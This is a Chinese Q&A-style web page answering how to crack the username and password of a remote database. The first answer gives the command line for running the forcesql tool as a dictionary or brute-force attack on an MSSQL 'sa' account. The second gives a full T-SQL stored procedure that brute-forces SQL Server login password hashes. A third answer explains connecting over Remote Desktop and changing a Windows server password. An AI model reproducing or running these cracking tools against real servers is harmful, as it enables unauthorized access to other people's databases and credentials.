高手,如何破解远程数据库的用户名和密码

高手,如何破解远程数据库的用户名和密码,第1张

1、forcesql是一款命令行下专门用于破解MSSQL密码的工具,分为字典破解和穷举两种破解方式

2、破解过程中会连接远程MSSQL服务器的TCP 1433端口,因此破解前应确保远程服务器的TCP 1433开放并且可访问,否则该工具将失效。

3、在命令行下,输入:forceSQLexe 127001 sa -d wordstxt Password

4、其中sa为目标用户名,-d参数用于指定wordstxt文件为密码字典。 若破解成功,将会返回found!

望采纳,谢谢!

具体操作如下:

if exists (select from dbosysobjects where id = object_id(N'[dbo][p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)

drop procedure [dbo][p_GetPassword]

GO

/--穷举法破解 SQL Server 用户密码

可以破解中文,特殊字符,字符+尾随空格的密码

为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII,理论上可以破解任意位数的密码,条件是电脑配置足够,时间足够

/--调用示例

exec p_GetPassword

--/

create proc p_GetPassword

@username sysname=null, --用户名,如果不指定,则列出所有用户

@pwdlen int=2 --要破解的密码的位数,默认是2位及以下的

as

set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end

select top 255 id=identity(int,0,1) into #t from syscolumns

alter table #t add constraint pk_#t primary key(id)

select name,password

,type=case when xstatus&2048=2048 then 1 else 0 end

,jm=case when password is null then 1 else 0 end

,pwdstr=cast('' as sysname)

,pwd=cast('' as varchar(8000))

into #pwd

from masterdbosysxlogins a

where srvid is null

and name=isnull(@username,name)

declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)

declare @l int

select @l=0

,@s1='char(aaid)'

,@s2='cast(aaid as varchar)'

,@s3=',#t aa'

exec('

update pwd set jm=1,pwdstr='+@s1+'

,pwd='+@s2+'

from #pwd pwd'+@s3+'

where pwdjm=0

and pwdcompare('+@s1+',pwdpassword,pwdtype)=1

')

while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)

begin

select @l=@l+1

,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'id)'

,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'id as varchar)'

,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)

exec('

update pwd set jm=1,pwdstr='+@s1+'

,pwd='+@s2+'

from #pwd pwd'+@s3+'

where pwdjm=0

and pwdcompare('+@s1+',pwdpassword,pwdtype)=1

')

end

select 用户名=name,密码=pwdstr,密码ASCII=pwd

from #pwd

go

首先我想向你说明的问题有3点,然后我再告诉你怎么改。

1远程桌面链接是一个微软开的远程管理工具。他是用于操作者不能在本地操作服务器时提供的一种远程连接方式。好比说你的服务器在广州,你人在北京,但是你需要登录到服务器去更改些设置,那你就可以使用远程桌面连接到服务器的桌面上进行操作了。当然,前提是双方都接入互联网。

2服务器上的系统一般分为几种,比如说是win

2003

win

2008

还是linux?

unix?在搞清楚这些之前,你修改密码时的操作也不一样。

3第1点我已经说了,远程桌面是工具,他不具备密码功能,只负责连接到服务器的桌面上。你需要修改的密码是服务器的密码。

下面我以win

2003为例教你如何修改服务器密码。

首先在客户端,也就是你的个人计算机上。

开始-运行-mstsc

会弹出远程桌面连接的对话框

在计算机处有一个小条,输入ip

地址

我以19216801

为例

如果你们的技术特别说明有端口,就加在后面。例19216801:8000

输入之后会连接到一个新的桌面

输入技术交给你的帐号与密码。

在服务器上点击我的电脑-右键-属性0

到计算机管理上,进入本地用户和组

在用户里找到相应的计算机名,右键修改密码。ok

如果有什么其他问题发消息给我吧

DABAN RP主题是一个优秀的主题,极致后台体验,无插件,集成会员系统
网站模板库 » 高手,如何破解远程数据库的用户名和密码

0条评论

发表评论

提供最优质的资源集合

立即查看 了解详情